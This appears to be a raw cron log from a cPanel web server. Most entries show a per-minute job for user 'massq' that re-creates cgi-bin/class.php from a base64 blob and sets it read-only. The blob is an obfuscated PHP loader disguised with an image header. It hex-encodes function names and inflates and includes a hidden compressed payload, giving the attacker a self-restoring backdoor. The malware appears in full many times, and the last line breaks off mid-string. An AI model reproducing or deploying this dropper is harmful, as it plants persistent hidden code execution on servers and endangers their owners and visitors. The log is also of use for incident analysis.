Apr  7 08:10:01 server CROND[12862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:10:01 server CROND[12863]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 08:11:01 server CROND[12963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:12:01 server CROND[13064]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 08:12:01 server CROND[13065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:13:01 server CROND[13220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:14:01 server CROND[13285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:15:01 server CROND[13365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:15:01 server CROND[13366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:15:01 server CROND[13367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:15:01 server CROND[13368]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 08:16:01 server CROND[13490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:17:01 server CROND[13535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:18:01 server CROND[13581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:19:01 server CROND[13744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:20:01 server CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:20:01 server CROND[13851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 08:20:01 server CROND[13852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:20:01 server CROND[13853]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 08:20:01 server CROND[13855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:21:01 server CROND[13994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:22:01 server CROND[14094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:23:01 server CROND[14159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV